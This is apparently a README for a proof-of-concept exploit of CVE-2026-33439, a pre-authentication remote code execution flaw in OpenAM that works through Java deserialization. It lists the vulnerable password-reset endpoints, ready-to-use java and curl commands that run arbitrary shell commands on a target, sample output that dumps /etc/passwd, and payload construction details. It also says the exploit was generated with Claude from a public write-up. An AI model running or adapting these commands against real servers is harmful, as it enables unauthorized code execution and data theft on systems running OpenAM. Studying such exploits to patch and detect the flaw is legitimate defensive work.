ibonok/cve-2026-33439-pocExploit para RCE pre-autenticación en OpenAM (CVE-2026-33439) que utiliza una cadena de gadgets de deserialización de Java para ejecutar comandos y devolver la salida directamente en la respuesta HTTP.
Salida de comandos directamente en la respuesta HTTP — sin exfiltración por DNS ni OOB.
Utiliza com.iplanet.jato.RequestManager.getRequestContext() para acceder a la
solicitud/respuesta activa de JATO ThreadLocal durante la deserialización. Funciona en Java 21+ donde
las técnicas clásicas de echo de Tomcat (Thread.target / recorrido de ThreadGroup.threads) fallan.
javac para la compilación de translets en tiempo de ejecución)click-nodeps-2.3.0.jar y xalan-2.7.x.jar en el classpath| Endpoint | Salida de echo |
|---|
/sso/ui/PWResetUserValidation | HTTP 200, salida de comandos en el cuerpo |
/sso/ui/PWResetQuestion | HTTP 200, salida de comandos en el cuerpo |
/sso/ui/PWResetSuccess | HTTP 200, salida de comandos en el cuerpo |
También probados pero sin salida de echo (la deserialización aún se activa):
/sso/ui/PWResetInvalidURL — se devuelve página de error/sso/ui/PWResetUncaughtException — se devuelve página de error./build.sh
El JAR agrega automáticamente las banderas JVM --add-opens — no es necesario especificarlas manualmente.
# Todo en uno: generar payload + enviar + mostrar salida (proxy a través de Burp)
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'cat /etc/passwd'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'uname -a'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'hostname && whoami && pwd'
# Sin proxy de Burp
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id' --no-proxy
# Generar payload reutilizable (el comando proviene del encabezado 'cmd' en el momento de la solicitud)
P=$(java -jar CVE-2026-33439-Echo.jar generate 2>/dev/null)
curl -sk -H 'cmd: id' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: cat /etc/passwd' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: ls -la /' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'id'
uid=8866(docker) gid=8865(docker) groups=8865(docker)
$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
docker:x:8866:8865::/home/docker:/bin/bash
PriorityQueue (cadena de gadgets Click1 + Xalan TemplatesImpl)RequestManager.getRequestContext() para obtener la solicitud/respuesta JATO activacmd, ejecuta sh -c <cmd>, escribe stdout+stderr en response.getOutputStream()\x00 + Base64 seguro para URL, sin relleno)/sso/ui/PWResetUserValidation?jato.clientSession=<payload> (sin autenticación)CVE-2026-33439-PoC-echo/
CVE-2026-33439-Echo.jar # JAR de explotación
build.sh # Script de compilación
MANIFEST.MF # Manifiesto del JAR
README.md # Este archivo
lib/ # Dependencias (deben permanecer junto al JAR)
click-nodeps-2.3.0.jar
xalan-2.7.1.jar
serializer-2.7.3.jar
javax.servlet-api-4.0.1.jar
src/
CVE_2026_33439_Echo.java # Código fuente
Parcheado en el commit 014007c63cacc834cc795a89fac0e611aebc4a32 de OpenAM — agrega
filtro de clases a ObjectInputStream en SessionEncodeURL.readSessionID().
El PoC fue creado usando Claude; el prompt fue el write-up (https://www.hacktron.ai/blog/openam-deserialization-pre-auth-rce) y el commit de Git (https://github.com/OpenIdentityPlatform/OpenAM/commit/014007c63cacc834cc795a89fac0e611aebc4a32)